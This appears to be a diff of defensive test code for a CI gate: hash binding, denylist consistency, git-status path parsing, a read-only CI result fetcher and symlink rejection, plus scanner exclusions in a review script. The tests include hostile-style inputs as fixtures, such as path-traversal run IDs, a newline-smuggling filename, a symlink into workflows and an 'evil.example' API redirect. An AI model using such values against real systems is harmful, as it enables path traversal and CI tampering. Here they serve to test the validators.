+def test_workflow_gate_blocks_on_both_hashes_empty(tmp_path: Path) -> None:
+    # The empty-hash bug: '' == '' must NOT pass. Both empty -> BLOCK.
+    env = dict(_GOOD, DIFF_HASH="", EXPECTED_DIFF_HASH="")
+    assert _run_gate(tmp_path, env) == 1
+
+
+def test_workflow_gate_blocks_on_empty_expected_hash(tmp_path: Path) -> None:
+    env = dict(_GOOD, EXPECTED_DIFF_HASH="")
+    assert _run_gate(tmp_path, env) == 1
+
+
+def test_workflow_gate_blocks_on_empty_guard_hash(tmp_path: Path) -> None:
+    env = dict(_GOOD, DIFF_HASH="")
+    assert _run_gate(tmp_path, env) == 1
+
+
+def test_workflow_gate_blocks_on_hash_mismatch(tmp_path: Path) -> None:
+    env = dict(_GOOD, DIFF_HASH="aaa", EXPECTED_DIFF_HASH="bbb")
+    assert _run_gate(tmp_path, env) == 1
+
+
+# --------------------------------------------------------------------------- #
+# INJ-03: the three trust-control denylists must be identical (no drift)
+# --------------------------------------------------------------------------- #
+
+
+def _extract_deny_globs_blocks() -> list[tuple[str, ...]]:
+    """Extract every ``DENY_GLOBS: tuple[str, ...] = ( ... )`` tuple from the YAML.
+
+    The guard job and the post-build job each embed one inline copy. Returns the
+    parsed string tuples in file order (expected: exactly two).
+    """
+    raw = _raw()
+    blocks: list[tuple[str, ...]] = []
+    for m in re.finditer(
+        r"DENY_GLOBS:\s*tuple\[str,\s*\.\.\.\]\s*=\s*\((?P<body>.*?)\)",
+        raw,
+        re.DOTALL,
+    ):
+        body = m.group("body")
+        entries = re.findall(r'"([^"]*)"', body)
+        blocks.append(tuple(entries))
+    return blocks
+
+
+def test_three_trust_control_denylists_are_identical() -> None:
+    from agent_team.ci_gate import DENYLIST_GLOBS
+
+    yaml_blocks = _extract_deny_globs_blocks()
+    assert len(yaml_blocks) == 2, (
+        f"expected exactly two inline YAML DENY_GLOBS (guard + post-build), "
+        f"found {len(yaml_blocks)}"
+    )
+    guard_globs, post_build_globs = yaml_blocks
+    # All three must be byte-for-byte identical (same entries, same order) so a
+    # future edit to one copy that drifts from the others fails CI (INJ-03).
+    assert guard_globs == post_build_globs == DENYLIST_GLOBS, (
+        "trust-control denylists have drifted:\n"
+        f"  guard      = {guard_globs}\n"
+        f"  post-build = {post_build_globs}\n"
+        f"  ci_gate    = {DENYLIST_GLOBS}"
+    )
+
+
+# --------------------------------------------------------------------------- #
+# FIX-2 / INJ-02: robust NUL-delimited post-build denied-path parsing
+# --------------------------------------------------------------------------- #
+
+
+def _extract_post_build_script() -> str:
+    """Pull the ``python3 - <<'PY' ... PY`` heredoc defining ``_status_paths``."""
+    lines = _raw().splitlines()
+    blocks: list[tuple[int, int]] = []
+    start = None
+    for i, line in enumerate(lines):
+        if start is None and line.strip() == "python3 - <<'PY'":
+            start = i + 1
+        elif start is not None and line.strip() == "PY":
+            blocks.append((start, i))
+            start = None
+    for s, e in blocks:
+        body = lines[s:e]
+        text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body)
+        if "_status_paths" in text:
+            return text
+    raise AssertionError("post-build NUL-parse heredoc not found")
+
+
+def _run_post_build(
+    tmp_path: Path,
+    *,
+    diff_z: bytes = b"",
+    status_z: bytes = b"",
+    scope: str = "src/**",
+) -> int:
+    import os
+
+    script = tmp_path / "post_build.py"
+    script.write_text(_extract_post_build_script(), encoding="utf-8")
+    (tmp_path / "_build_diff_z.bin").write_bytes(diff_z)
+    (tmp_path / "_build_status_z.bin").write_bytes(status_z)
+    env = dict(os.environ, DECLARED_SCOPE=scope)
+    result = subprocess.run(
+        [sys.executable, str(script)],
+        env=env,
+        cwd=str(tmp_path),
+        capture_output=True,
+        text=True,
+    )
+    return result.returncode
+
+
+def test_post_build_clean_when_no_writes(tmp_path: Path) -> None:
+    assert _run_post_build(tmp_path) == 0
+
+
+def test_post_build_in_scope_untracked_is_clean(tmp_path: Path) -> None:
+    # `?? src/new.py\0`
+    status = b"?? src/new.py\x00"
+    assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 0
+
+
+def test_post_build_denied_path_via_status(tmp_path: Path) -> None:
+    # A build hook drops a workflow file: must be caught (denied).
+    status = b"?? .github/workflows/evil.yml\x00"
+    assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1
+
+
+def test_post_build_filename_with_newline_is_caught(tmp_path: Path) -> None:
+    # The whole point of NUL parsing: a filename containing a NEWLINE that lands
+    # out of scope must still be caught, not split/mangled into a benign name.
+    status = b"?? src/ok.py\x00?? evil\nname.py\x00"
+    # 'evil\nname.py' is out of scope (src/**) -> violation.
+    assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1
+
+
+def test_post_build_rename_source_field_is_parsed(tmp_path: Path) -> None:
+    # porcelain v1 -z rename: `R  <new>\0<old>\0`. The SOURCE field is a separate
+    # record; a rename whose SOURCE is a denied path must be caught.
+    status = b"R  src/new.py\x00.github/workflows/old.yml\x00"
+    assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1
+
+
+def test_post_build_undecodable_path_fails_closed(tmp_path: Path) -> None:
+    # A path field that is not valid UTF-8 must be treated as a violation.
+    status = b"?? src/\xff\xfe.py\x00"
+    assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1
+
+
+def test_post_build_diff_z_denied_path_is_caught(tmp_path: Path) -> None:
+    # The tracked-diff side (git diff -z --name-only) is parsed too.
+    diff = b"src/app.py\x00main.tf\x00"
+    assert _run_post_build(tmp_path, diff_z=diff, scope="src/**") == 1

agent-team/tests/test_ci_fetcher.py

@@ -0,0 +1,357 @@
+"""Unit tests for agent_team.ci_fetcher — the read-only, fail-closed CI fetcher.
+
+The fetcher is a pure DATA seam: on a clean authenticated run it returns the
+``{run_id, conclusion, diff_hash}`` mapping the pure-code gate consumes; on ANY
+error (404 / auth fail / malformed body / timeout / missing run_id / missing
+token) it returns ``None`` so the gate BLOCKs (fail-closed). It NEVER derives a
+verdict and NEVER writes. Everything is mocked with a fake HTTP client; no
+network, no real token.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from agent_team.ci_fetcher import (
+    CI_READ_TOKEN_ENV,
+    build_ci_result_fetcher,
+    fetch_ci_result,
+)
+
+
+class _FakeResponse:
+    def __init__(self, status: int, body):
+        self.status_code = status
+        self._body = body
+
+    def json(self):
+        if isinstance(self._body, Exception):
+            raise self._body
+        return self._body
+
+
+class _FakeClient:
+    """A requests-like client recording calls; raises only write verbs if asked."""
+
+    def __init__(self, response=None, raise_exc=None):
+        self._response = response
+        self._raise = raise_exc
+        self.calls: list[tuple[str, dict]] = []
+
+    def get(self, url, *, timeout=None):
+        self.calls.append((url, {"timeout": timeout}))
+        if self._raise is not None:
+            raise self._raise
+        return self._response
+
+    # If the fetcher ever tried to write, these would record it — they must not
+    # be called (the fetcher is read-only).
+    def post(self, *a, **k):  # pragma: no cover - must never be called
+        raise AssertionError("ci_fetcher must never POST")
+
+    def patch(self, *a, **k):  # pragma: no cover - must never be called
+        raise AssertionError("ci_fetcher must never PATCH")
+
+
+def _state(run_id="123", diff_hash="abc123"):
+    return {"run_id": run_id, "diff_hash": diff_hash}
+
+
+# --------------------------------------------------------------------------- #
+# Success path
+# --------------------------------------------------------------------------- #
+
+
+def test_success_returns_correct_mapping() -> None:
+    client = _FakeClient(
+        _FakeResponse(200, {"id": 123, "conclusion": "success", "status": "completed"})
+    )
+    out = fetch_ci_result(_state(), owner="o", repo="r", client=client)
+    assert out == {"run_id": "123", "conclusion": "success", "diff_hash": "abc123"}
+    # It hit the runs endpoint for the right run, read-only.
+    assert client.calls[0][0].endswith("/repos/o/r/actions/runs/123")
+
+
+def test_failure_conclusion_is_echoed_not_judged() -> None:
+    # The fetcher returns the raw conclusion; it does NOT decide pass/fail.
+    client = _FakeClient(_FakeResponse(200, {"id": 5, "conclusion": "failure"}))
+    out = fetch_ci_result(_state(run_id="5"), owner="o", repo="r", client=client)
+    assert out is not None
+    assert out["conclusion"] == "failure"  # echoed verbatim, no verdict derived
+
+
+def test_diff_hash_echoed_from_state() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 9, "conclusion": "success"}))
+    out = fetch_ci_result(
+        {"run_id": "9", "diff_hash": "DEADBEEF"}, owner="o", repo="r", client=client
+    )
+    assert out["diff_hash"] == "DEADBEEF"
+
+
+def test_run_id_read_from_state_drives_url() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 777, "conclusion": "success"}))
+    fetch_ci_result(_state(run_id="777"), owner="acme", repo="svc", client=client)
+    assert client.calls[0][0].endswith("/repos/acme/svc/actions/runs/777")
+
+
+# --------------------------------------------------------------------------- #
+# Fail-closed paths (every error -> None)
+# --------------------------------------------------------------------------- #
+
+
+def test_404_fails_closed() -> None:
+    client = _FakeClient(_FakeResponse(404, {"message": "Not Found"}))
+    assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
+
+
+def test_auth_fail_401_fails_closed() -> None:
+    client = _FakeClient(_FakeResponse(401, {"message": "Bad credentials"}))
+    assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
+
+
+def test_forbidden_403_fails_closed() -> None:
+    client = _FakeClient(_FakeResponse(403, {"message": "forbidden"}))
+    assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
+
+
+def test_malformed_body_fails_closed() -> None:
+    client = _FakeClient(_FakeResponse(200, ValueError("not json")))
+    assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
+
+
+def test_non_object_body_fails_closed() -> None:
+    client = _FakeClient(_FakeResponse(200, ["not", "a", "dict"]))
+    assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
+
+
+def test_missing_conclusion_fails_closed() -> None:
+    # In-progress run: conclusion is None -> not an authenticated verdict.
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": None}))
+    assert (
+        fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None
+    )
+
+
+def test_timeout_fails_closed() -> None:
+    client = _FakeClient(raise_exc=TimeoutError("timed out"))
+    assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
+
+
+def test_connection_error_fails_closed() -> None:
+    client = _FakeClient(raise_exc=ConnectionError("refused"))
+    assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
+
+
+def test_missing_run_id_fails_closed() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
+    assert (
+        fetch_ci_result({"diff_hash": "x"}, owner="o", repo="r", client=client) is None
+    )
+    # And it never even made a request.
+    assert client.calls == []
+
+
+def test_empty_run_id_fails_closed() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
+    assert (
+        fetch_ci_result(
+            {"run_id": "", "diff_hash": "x"}, owner="o", repo="r", client=client
+        )
+        is None
+    )
+    assert client.calls == []
+
+
+# --------------------------------------------------------------------------- #
+# Missing token (no injected client) -> fails closed (does NOT raise)
+# --------------------------------------------------------------------------- #
+
+
+def test_missing_token_fails_closed(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.delenv(CI_READ_TOKEN_ENV, raising=False)
+    monkeypatch.delenv("GITHUB_TOKEN", raising=False)
+    # No client injected -> it must resolve a token; none set -> None (no raise).
+    assert fetch_ci_result(_state(), owner="o", repo="r") is None
+
+
+# --------------------------------------------------------------------------- #
+# Read-only contract: never derives a verdict, never writes
+# --------------------------------------------------------------------------- #
+
+
+def test_fetcher_never_returns_a_verdict_field() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 2, "conclusion": "failure"}))
+    out = fetch_ci_result(_state(run_id="2"), owner="o", repo="r", client=client)
+    assert out is not None
+    # The mapping is DATA only — there is no gate_decision / passed / verdict.
+    assert set(out.keys()) == {"run_id", "conclusion", "diff_hash"}
+    assert "passed" not in out
+    assert "gate_decision" not in out
+
+
+def test_build_ci_result_fetcher_returns_state_callable() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 3, "conclusion": "success"}))
+    fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client)
+    out = fetcher({"run_id": "3", "diff_hash": "h"})
+    assert out == {"run_id": "3", "conclusion": "success", "diff_hash": "h"}
+
+
+def test_build_ci_result_fetcher_fails_closed_on_error() -> None:
+    client = _FakeClient(_FakeResponse(500, {"message": "boom"}))
+    fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client)
+    assert fetcher({"run_id": "3", "diff_hash": "h"}) is None
+
+
+# --------------------------------------------------------------------------- #
+# BLOCK-2: run_id validation (fail-closed; never reaches the URL)
+# --------------------------------------------------------------------------- #
+
+
+@pytest.mark.parametrize(
+    "bad_run_id",
+    [
+        "abc",  # non-numeric
+        "12a",  # mixed
+        "../runs/999",  # path traversal
+        "1 2",  # whitespace
+        "1" * 21,  # too long (> 20 digits)
+        "-1",  # sign
+        "0x10",  # hex
+    ],
+)
+def test_invalid_run_id_fails_closed(bad_run_id: str) -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
+    assert (
+        fetch_ci_result(
+            {"run_id": bad_run_id, "diff_hash": "x"},
+            owner="o",
+            repo="r",
+            client=client,
+        )
+        is None
+    )
+    # It never made a request: rejected before URL construction.
+    assert client.calls == []
+
+
+def test_valid_numeric_run_id_is_accepted() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 42, "conclusion": "success"}))
+    out = fetch_ci_result(_state(run_id="42"), owner="o", repo="r", client=client)
+    assert out is not None and out["run_id"] == "42"
+
+
+# --------------------------------------------------------------------------- #
+# BLOCK-3: owner/repo validation (fail-closed; never reaches the URL)
+# --------------------------------------------------------------------------- #
+
+
+@pytest.mark.parametrize(
+    "owner,repo",
+    [
+        ("o/../x", "r"),  # traversal in owner
+        ("o", "r/runs/9"),  # extra segments in repo
+        ("o ", "r"),  # whitespace
+        ("o", ""),  # empty repo
+        ("", "r"),  # empty owner
+        ("o", "r#frag"),  # url metachar
+        ("o?", "r"),  # query metachar
+    ],
+)
+def test_invalid_owner_repo_fails_closed(owner: str, repo: str) -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
+    assert fetch_ci_result(_state(), owner=owner, repo=repo, client=client) is None
+    assert client.calls == []
+
+
+def test_valid_owner_repo_with_dots_dashes_underscores() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
+    out = fetch_ci_result(
+        _state(run_id="1"), owner="my-org.x", repo="repo_name.v2", client=client
+    )
+    assert out is not None
+    assert client.calls[0][0].endswith("/repos/my-org.x/repo_name.v2/actions/runs/1")
+
+
+# --------------------------------------------------------------------------- #
+# FIX-1: conclusion allowlist (unrecognised -> fail-closed)
+# --------------------------------------------------------------------------- #
+
+
+@pytest.mark.parametrize(
+    "conclusion",
+    [
+        "success",
+        "failure",
+        "cancelled",
+        "skipped",
+        "timed_out",
+        "action_required",
+        "neutral",
+        "stale",
+        "startup_failure",
+    ],
+)
+def test_allowlisted_conclusions_pass(conclusion: str) -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": conclusion}))
+    out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
+    assert out is not None and out["conclusion"] == conclusion
+
+
+def test_conclusion_is_normalized_lowercase() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "SUCCESS"}))
+    out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
+    assert out is not None and out["conclusion"] == "success"
+
+
+@pytest.mark.parametrize("bad", ["bogus", "passed", "won", "", "in_progress"])
+def test_unrecognised_conclusion_fails_closed(bad: str) -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": bad}))
+    assert (
+        fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None
+    )
+
+
+# --------------------------------------------------------------------------- #
+# FIX-5: fetched_id validation (no arbitrary-string laundering)
+# --------------------------------------------------------------------------- #
+
+
+def test_integer_fetched_id_is_used() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": 999, "conclusion": "success"}))
+    out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
+    assert out is not None and out["run_id"] == "999"
+
+
+def test_numeric_string_fetched_id_is_used() -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": "888", "conclusion": "success"}))
+    out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
+    assert out is not None and out["run_id"] == "888"
+
+
+@pytest.mark.parametrize(
+    "bad_id",
+    ["../evil", "abc", "9a", True, {"x": 1}, ["1"], 1.5],
+)
+def test_non_integer_fetched_id_falls_back_to_validated_run_id(bad_id) -> None:
+    client = _FakeClient(_FakeResponse(200, {"id": bad_id, "conclusion": "success"}))
+    out = fetch_ci_result(_state(run_id="7"), owner="o", repo="r", client=client)
+    # Falls back to the already-validated requested run_id, never laundering the id.
+    assert out is not None and out["run_id"] == "7"
+
+
+def test_missing_fetched_id_falls_back_to_run_id() -> None:
+    client = _FakeClient(_FakeResponse(200, {"conclusion": "success"}))
+    out = fetch_ci_result(_state(run_id="55"), owner="o", repo="r", client=client)
+    assert out is not None and out["run_id"] == "55"
+
+
+# --------------------------------------------------------------------------- #
+# FIX-3: production builder does not accept a caller-overridable api_root
+# --------------------------------------------------------------------------- #
+
+
+def test_build_ci_result_fetcher_rejects_api_root_kwarg() -> None:
+    # The production builder must NOT expose api_root (so the host cannot be
+    # redirected from the coordinator/production wiring).
+    with pytest.raises(TypeError):
+        build_ci_result_fetcher(owner="o", repo="r", api_root="https://evil.example")

agent-team/tests/test_ci_gate.py

@@ -156,6 +156,21 @@ def test_hash_none_ledger_fails() -> None:
     assert verify_diff_hash(diff, ledger_hash=None) is False
 
 
+def test_hash_empty_ledger_fails_closed() -> None:
+    # An EMPTY expected hash must never be treated as a match (empty != real
+    # sha). Fail-closed: there is nothing to bind to.
+    diff = _diff_for("a.py")
+    assert verify_diff_hash(diff, ledger_hash="") is False
+
+
+def test_hash_empty_ci_verified_does_not_silently_pass() -> None:
+    # A real ledger hash but an EMPTY ci_verified hash must not match (the empty
+    # string is not the recomputed sha).
+    diff = _diff_for("a.py")
+    h = _ledger_hash(diff)
+    assert verify_diff_hash(diff, ledger_hash=h, ci_verified_hash="") is False
+
+
 def test_hash_ci_verified_must_also_match() -> None:
     diff = _diff_for("a.py")
     h = _ledger_hash(diff)
@@ -293,6 +308,34 @@ def test_gate_ignores_patch_written_success_field() -> None:
     assert result.decision is GateDecision.FAIL
 
 
+def test_gate_blocks_on_empty_ledger_hash() -> None:
+    # Fail-closed: an empty ledger hash binds to nothing -> BLOCK, never a pass,
+    # even with an authenticated CI success.
+    diff = _diff_for("src/foo.py")
+    result = evaluate_ci_gate(
+        candidate_diff=diff,
+        ledger_hash="",
+        ci_result=_good_ci("run-1", diff, "success"),
+        expected_run_id="run-1",
+    )
+    assert result.decision is GateDecision.BLOCK
+    assert any("hash" in r for r in result.reasons)
+
+
+def test_gate_blocks_on_empty_ci_diff_hash() -> None:
+    # An empty CI-verified diff_hash must not silently pass the integrity check.
+    diff = _diff_for("src/foo.py")
+    ci = _good_ci("run-1", diff, "success")
+    ci["diff_hash"] = ""
+    result = evaluate_ci_gate(
+        candidate_diff=diff,
+        ledger_hash=_ledger_hash(diff),
+        ci_result=ci,
+        expected_run_id="run-1",
+    )
+    assert result.decision is GateDecision.BLOCK
+
+
 def test_gate_blocks_when_ci_diff_hash_mismatch() -> None:
     # CI verified a different diff than the ledger recorded -> BLOCK.
     diff = _diff_for("src/foo.py")

agent-team/tests/test_ci_gate_workflow.py

@@ -84,6 +84,15 @@ SYMLINK = (
     "diff --git a/src/link b/src/link\nnew file mode 120000\n"
     "--- /dev/null\n+++ b/src/link\n@@ -0,0 +1 @@\n+../.github/workflows\n"
 )
+# A diff that CHANGES an existing regular file into a symlink (mode 100644 ->
+# 120000). The escape vector is the same: the link target redirects later writes
+# into a denied path that textual matching cannot see. Must be rejected too.
+SYMLINK_MODE_CHANGE = (
+    "diff --git a/src/existing b/src/existing\n"
+    "old mode 100644\nnew mode 120000\n"
+    "--- a/src/existing\n+++ b/src/existing\n@@ -1 +1 @@\n-regular contents\n"
+    "+../.github/workflows\n"
+)
 WORKFLOW_DELETE = (
     "diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml\n"
     "deleted file mode 100644\n--- a/.github/workflows/ci.yml\n+++ /dev/null\n"
@@ -123,6 +132,12 @@ def test_symlink_addition_is_rejected(guard_script: Path, tmp_path: Path) -> Non
     assert _run_guard(guard_script, tmp_path, SYMLINK, "src/**") == 7
 
 
+def test_symlink_mode_change_is_rejected(guard_script: Path, tmp_path: Path) -> None:
+    # A regular file FLIPPED to a symlink (mode 120000) is the same escape vector
+    # and must also be rejected (exit 7), not just brand-new symlinks.
+    assert _run_guard(guard_script, tmp_path, SYMLINK_MODE_CHANGE, "src/**") == 7
+
+
 def test_non_utf8_diff_fails_closed(guard_script: Path, tmp_path: Path) -> None:
     assert _run_guard(guard_script, tmp_path, NON_UTF8, "src/**") == 8
 

security-review/review.sh

@@ -45,7 +45,7 @@ note_missing() { echo "  [MISSING] $1 — not run. Install: $2" >&2; }
 if command -v cfn-lint >/dev/null; then
   # Prune generated/vendored trees (cdk.out, node_modules, …): scanning synthesized output is
   # wrong and, on CDK repos, explodes the arg list / stalls the scanners.
-  TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \
+  TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .claude -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \
           | xargs -I{} sh -c 'grep -lE "AWSTemplateFormatVersion|Transform: *AWS::Serverless" "{}" 2>/dev/null || true')"
   if [ -n "$TPLS" ]; then
     # shellcheck disable=SC2086
@@ -69,7 +69,7 @@ SCOPE_PATHS="$(scope_paths)"
 # --- semgrep (SAST: injection/authz/xss/secrets) ---
 if command -v semgrep >/dev/null; then
   # shellcheck disable=SC2086
-  if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then
+  if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .claude --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then
     NORM="$(echo "$SG" | jq '[.results[] | {
       id: ("semgrep-" + (.check_id|split(".")|last) + "-" + (.start.line|tostring)),
       title: ((.check_id|split(".")|last) + ": " + ((.extra.message // "")[0:120])),
@@ -116,7 +116,7 @@ if command -v checkov >/dev/null; then
     # scanning cdk.out/<stack>.template.json, which is the real deploy artifact
     # (dropping it would silence genuine S3/IAM IaC findings). asset is anchored to
     # cdk.out so a source file literally named asset.* is not also excluded.
-    if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)"
+    if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.claude' --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)"
     else RAW="$(checkov -f "$p" -o json --compact --quiet 2>/dev/null || true)"; fi
     [ -z "$RAW" ] && continue
     FC="$(echo "$RAW" | jq '[ (if type=="array" then .[] else . end).results.failed_checks // [] ] | add // []' 2>/dev/null || echo '[]')"